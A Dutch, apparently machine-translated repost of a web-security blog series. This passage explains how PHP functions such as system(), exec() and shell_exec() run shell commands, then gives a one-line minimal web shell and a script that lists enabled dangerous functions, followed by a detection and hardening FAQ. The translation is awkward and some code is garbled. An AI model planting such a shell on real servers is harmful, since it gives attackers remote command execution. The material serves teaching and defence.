Dubitinsider

for your information

in deel 1 van deze serie hebben we gekeken naar wat een Webshell is en waarom een aanvaller er een zou willen gebruiken. In deel 2 van deze serie, zullen we kijken naar een aantal specifieke voorbeelden van web shells ontwikkeld met behulp van de PHP programmeertaal.

Web shells bestaan voor bijna elke programmeertaal die je maar kunt bedenken. We kozen ervoor om ons te concentreren op PHP omdat het de meest gebruikte programmeertaal op het web is.

PHP web shells doen niets meer dan gebruik maken van ingebouwde PHP functies om commando ‘ s uit te voeren. Hieronder volgen enkele van de meest voorkomende functies die gebruikt worden om shell commando ‘ s uit te voeren in PHP.

opmerking: voor de doeleinden van dit artikel hebben we ons hosts-bestand bewerkt en het domein www.example.com naar een testserver.

system ()

de system() functie accepteert het commando als een parameter en het geeft het resultaat.

het volgende voorbeeld op een Microsoft Windows machine zal het dir commando uitvoeren om een directory lijst te retourneren van de directory waarin het PHP bestand wordt uitgevoerd.

<?php// Return the listing of the directory where the file runs (Windows)system("dir");?>--> Volume in drive C has no label.Volume Serial Number is A08E-9C63Directory of C:\webserver\www\demo02/27/2020 10:21 PM <DIR> .02/27/2020 10:21 PM <DIR> ..02/27/2020 10:19 PM 22 shell.php1 File(s) 22 bytes2 Dir(s) 31,977,467,904 bytes free

het uitvoeren van het ls commando op een Linux machine bereikt een vergelijkbaar resultaat.

<?php// Return the listing of the directory where the file runs (Linux)system("ls -la");?>--> total 12drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

andere commando ‘ s hebben hetzelfde effect.

<?php// Return the user the script is running undersystem("whoami");?>--> www-data

exec()

de functie exec() accepteert een opdracht als parameter, maar geeft het resultaat niet. Als een tweede optionele parameter is opgegeven, zal het resultaat worden geretourneerd als een array. Anders zal alleen de laatste regel van het resultaat worden weergegeven als echo.

<?php// Executes but returns nothingexec("ls -la");?>-->

met echo met de functie exec() wordt alleen de laatste regel van de uitvoer van het commando afgedrukt.

<?php// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

als een tweede parameter is opgegeven, wordt het resultaat in een array geretourneerd.

<?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array( => total 12 => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 . => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

shell_exec()

de shell_exec() functie is vergelijkbaar met exec(), maar het geeft het volledige resultaat als een string.

<?php// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>
-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

passthru()

de functie passthru() voert een opdracht uit en geeft uitvoer in raw-formaat terug.

<?php// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

proc_open()

de functie proc_open() kan moeilijk te begrijpen zijn (u kunt een gedetailleerde beschrijving van de functie vinden in de PHP docs). Door proc_open() te gebruiken, kunnen we een handler (proces) maken die gebruikt zal worden voor communicatie tussen ons script en het programma dat we willen uitvoeren.

Backticks

verrassend genoeg zijn niet veel PHP ontwikkelaars zich hiervan bewust, maar PHP zal de inhoud van backticks (`) als een shell commando uitvoeren.

opmerking: het backtick karakter (`) moet niet worden verward met het enkele aanhalingsteken (‘)
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data

gebaseerd op het bovenstaande is het volgende een PHP web shell in zijn eenvoudigste vorm.

<?php system($_GET);?>

het gebruikt de functie system() om commando ’s uit te voeren die via de HTTP request GET parameter’ cmd ‘ worden doorgegeven.

web shells image 2

we hebben vastgesteld dat deze functies (en enkele andere) zeer gevaarlijk kunnen zijn. Wat nog gevaarlijker is, is dat al deze ingebouwde PHP-commando ‘ s standaard zijn ingeschakeld wanneer PHP is ge├»nstalleerd en de meerderheid van de systeembeheerders ze niet uitschakelen.

Als u niet zeker weet of ze zijn ingeschakeld op uw systeem, geeft het volgende een lijst met gevaarlijke functies terug die zijn ingeschakeld.

<?phpprint_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)));?>

in een standaard installatie kunnen we zien dat alle bovengenoemde functies zijn ingeschakeld.

 => exec => system => passthru => shell_exec => proc_open => show_source => parse_ini_file => popen

Deel 1

Een Inleiding voor Web-Shells

Deel 2

Web Schelpen 101 met Behulp van PHP

Deel 3

het Houden van Web Schelpen Onder Dekking

Deel 4

Web Schelpen in Actie

Deel 5

Detectie & Preventie

veelgestelde vragen

Een web shell is een kleine applicatie die een aanvaller wordt uitgevoerd op de webserver. Ze kunnen deze applicatie vervolgens gebruiken om op afstand toegang te krijgen tot uw server en commando ‘ s op uit te voeren. Een web shell op zich is nooit een aanval, het is de nasleep van een succesvolle aanval op uw website of webapplicatie. Dit betekent dat als je een Webshell hebt, je een veel ernstiger probleem hebt om je zorgen over te maken.

zie hoe een Webshell in de praktijk werkt.

kwaadaardige hackers gebruiken web shells om de controle over een reeds gecompromitteerde server over te nemen. Ten eerste, ze exploiteren een kwetsbaarheid in uw website of webtoepassing, zoals SQL injectie, uitvoering van externe code, of anderen. Vervolgens uploaden ze een web shell naar uw webserver. Vanaf nu kunnen ze alle commando ‘ s uitvoeren die ze leuk vinden op je server.

zie een stap-voor-stap voorbeeld van een aanval die leidt tot volledige server compromis.

u kunt web shells detecteren door loganalyse. Echter, je moet niet richten op het detecteren van web shells, maar in plaats daarvan, je moet kwetsbaarheden die kunnen laten aanvallers de controle over uw server te detecteren. Zelfs als u een web shell detecteren, dat zal niet stoppen aanvallers van het overnemen van de controle opnieuw als de kwetsbaarheden zijn er nog steeds. Om web kwetsbaarheden op te sporen en te leren hoe ze te elimineren, gebruik Acunetix.

bekijk wat Acunetix Premium voor u kan betekenen.

de beste manier om jezelf te beschermen tegen web shells is om het onmogelijk te maken om ze op je systeem te gebruiken. U kunt dat doen door uw server te verharden-het verwijderen van alle overtollige Machtigingen, het blokkeren van potentieel gevaarlijke functies, het beperken van script uitvoering in upload directory ‘ s, enz. Echter, het is het beste om de server te beschermen tegen steeds gecompromitteerd in de eerste plaats door het gebruik van Acunetix regelmatig.

Lees meer over Webshell detectie en bescherming.

haal elke week de nieuwste inhoud op webbeveiliging
in uw postvak in.

DEEL DIT BERICHT

AUTEUR
Agathoklis Prodromou
Web Systeembeheerder/Ontwikkelaar

Akis heeft gewerkt in de IT-sfeer meer dan 13 jaar, de ontwikkeling van zijn vaardigheden van een defensieve perspectief als Systeembeheerder en Web Developer, maar ook van een offensief perspectief als een penetratie tester. Hij heeft verschillende professionele certificeringen met betrekking tot ethisch hacken, digitaal forensisch onderzoek en incident response.

Geef een antwoord

Het e-mailadres wordt niet gepubliceerd.